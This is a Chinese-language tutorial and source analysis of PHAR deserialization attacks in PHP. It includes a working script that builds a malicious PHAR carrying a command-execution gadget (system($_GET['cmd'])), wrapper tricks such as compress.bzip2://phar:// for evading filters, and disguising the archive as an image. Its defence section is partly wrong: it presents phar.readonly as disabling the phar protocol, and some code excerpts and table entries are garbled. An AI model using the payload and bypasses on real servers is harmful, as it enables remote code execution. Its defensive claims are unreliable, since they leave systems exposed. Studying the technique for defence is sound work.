PHAR反序列化源代码分析
字数 1967 2025-08-24 07:48:10
PHAR反序列化漏洞深入分析与利用指南
一、PHAR反序列化漏洞概述
PHAR反序列化漏洞是一种在PHP环境中无需直接调用unserialize()函数即可触发反序列化操作的攻击方式。该漏洞由安全研究员Sam Thomas在2018年BlackHat大会上首次提出,因其利用方式隐蔽且触发函数广泛,具有较高的实际利用价值。
核心原理
- PHAR(Php ARchive)是PHP的归档文件格式,类似于JAR文件
- 当PHP处理
phar://协议时,会自动解析文件中的metadata部分 - 解析过程中会调用
php_var_unserialize()函数对metadata进行反序列化 - 攻击者可以构造恶意的PHAR文件,在metadata中植入恶意序列化数据
二、底层源代码分析
关键函数调用链
完整的漏洞触发调用链如下:
file_get_contents()
→ php_stream_open_wrapper_ex()
→ php_stream_locate_url_wrapper() // 获取协议处理器
→ phar_wrapper_open_url() // PHAR协议处理器
→ phar_parse_url()
→ phar_open_from_filename()
→ phar_open_from_fp()
→ phar_parse_pharfile()
→ phar_parse_metadata() // 解析metadata
→ php_var_unserialize() // 反序列化操作
核心代码片段分析
- 反序列化入口函数 (
unserialize()底层实现):
PHP_FUNCTION(unserialize) {
char *buf = NULL;
size_t buf_len;
const unsigned char *p;
php_unserialize_data_t var_hash;
zval *options = NULL, *classes = NULL;
zval *retval;
HashTable *class_hash = NULL, *prev_class_hash;
if (buf_len == 0) {
RETURN_FALSE;
}
p = (const unsigned char*) buf;
PHP_VAR_UNSERIALIZE_INIT(var_hash);
prev_class_hash = php_var_unserialize_get_allowed_classes(var_hash);
retval = var_tmp_var(&var_hash);
if (!php_var_unserialize(retval, &p, p + buf_len, &var_hash)) {
// 错误处理
}
// ...
}
- PHAR元数据解析:
// phar_parse_metadata()函数会调用php_var_unserialize()
// 对PHAR文件中的metadata进行反序列化
三、漏洞触发条件与利用方式
必要条件
- 存在文件操作函数且参数可控
- 攻击者能够上传或控制服务器上的PHAR文件
- 存在可利用的魔术方法或类
可触发漏洞的函数列表
以下函数在特定条件下可触发PHAR反序列化:
| 文件操作类 | 图像处理类 | 压缩处理类 | 数据库操作类 | 其他 |
|---|---|---|---|---|
| file_get_contents() | imagecreatefrompng() | readgzfile() | PDO::pgsqlCopyFromFile() | sha1_file() |
| file() | imagecreatefromgif() | gzfile() | PDO::pgsqlCopyToFile() | md5_file() |
| readfile() | imagecreatefromjpeg() | bzopen() | getimagesize() | |
| fopen() | imagecreatefromwbmp() | get_meta_tags() | ||
| file_exists() | imagecreatefromxbm() | parse_ini_file() | ||
| is_file() | imagecreatefromgd() | highlight_file() | ||
| is_dir() | imagecreatefromgd2() | show_source() | ||
| stat() | imageloadfont() | php_strip_whitespace() |
恶意PHAR文件构造示例
<?php
class EvilClass {
public function __destruct() {
// 恶意代码
system($_GET['cmd']);
}
}
@unlink('evil.phar');
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test'); // 添加文件内容
$phar->setMetadata(new EvilClass()); // 关键:设置恶意metadata
$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 必须包含的stub
$phar->stopBuffering();
?>
四、绕过防御机制的技术
1. 协议嵌套绕过
当存在对phar://的直接过滤时,可使用以下方式绕过:
// Bzip2压缩流绕过
compress.bzip2://phar:///path/to/evil.phar
// Zlib压缩流绕过
compress.zlib://phar:///path/to/evil.phar
// PHP过滤器绕过
php://filter/resource=phar:///path/to/evil.phar
2. 源代码层面的绕过原理
以compress.bzip2://为例:
// ext/bz2/bz2.c
if (strstr(filename, "compress.bzip2://")) {
path = filename + 17; // 前移17个字符,跳过"compress.bzip2://"
}
// 后续处理path时实际变为phar://...
3. 文件扩展名绕过
PHAR文件可以通过修改扩展名伪装成其他文件类型:
copy('evil.phar', 'evil.jpg'); // 伪装成图片
copy('evil.phar', 'evil.txt'); // 伪装成文本文件
// 使用时仍可用phar://协议解析
五、PHAR文件格式要求
必须包含的元素
- Stub:文件头,必须包含
__HALT_COMPILER();语句$phar->setStub('<?php __HALT_COMPILER(); ?>'); - Manifest:包含文件元信息
- File Contents:实际文件内容
- Signature (可选):文件签名
底层验证机制
PHP在解析PHAR文件时会检查以下特征:
const char token[] = "__HALT_COMPILER();";
const char zip_magic[] = "PK\x03\x04";
const char gz_magic[] = "\x1f\x8b\x08";
const char bz_magic[] = "BZh";
// 检查文件是否包含这些特征
if (-1 == php_stream_seek(fp, halt_offset, SEEK_SET)) {
MAPPHAR_ALLOC_FAIL("cannot seek to __HALT_COMPILER(); location in phar \"%s\"")
}
六、实际利用案例
1. 通过ZIP扩展触发
$zip = new ZipArchive();
$res = $zip->open('evil.zip');
$zip->extractTo('phar://evil.phar/test'); // 触发反序列化
调用链分析:
ZipArchive::extractTo()
→ php_zip_extract_file()
→ php_stream_open_wrapper()
→ phar反序列化流程
2. 通过PostgreSQL扩展触发
$pdo = new PDO("pgsql:host=127.0.0.1;dbname=test", "user", "pass");
$pdo->pgsqlCopyFromFile('test', 'phar://evil.phar/test');
调用链分析:
PDO::pgsqlCopyFromFile()
→ php_stream_open_wrapper_ex()
→ 直接触发phar反序列化
七、防御措施
-
禁用phar协议:
; php.ini phar.readonly = On phar.require_hash = On -
限制危险函数:
- 禁用不必要的文件操作函数
- 使用函数白名单机制
-
输入验证:
- 严格检查用户提供的文件路径
- 过滤所有协议形式的输入
-
类安全检查:
- 实现
__wakeup()和__destruct()方法的安全检查 - 使用
unserialize_callback_func设置反序列化回调
- 实现
-
文件上传检查:
- 检查上传文件的真实类型
- 禁止上传可疑文件类型
八、总结与思考
PHAR反序列化漏洞因其独特的触发机制和广泛的攻击面,成为PHP安全领域的重要议题。通过深入分析底层源代码,我们可以更清晰地理解:
- 漏洞本质在于PHP对PHAR文件metadata的自动反序列化处理
- 触发函数数量庞大,很多常见文件操作函数都可能成为入口点
- 多种绕过技术使得防御更加困难
- 从协议处理器到反序列化的完整调用链揭示了PHP内部处理机制
防御此类漏洞需要开发者深入理解PHP内部工作机制,采取多层次的安全防护措施,而不仅仅是简单的黑名单过滤。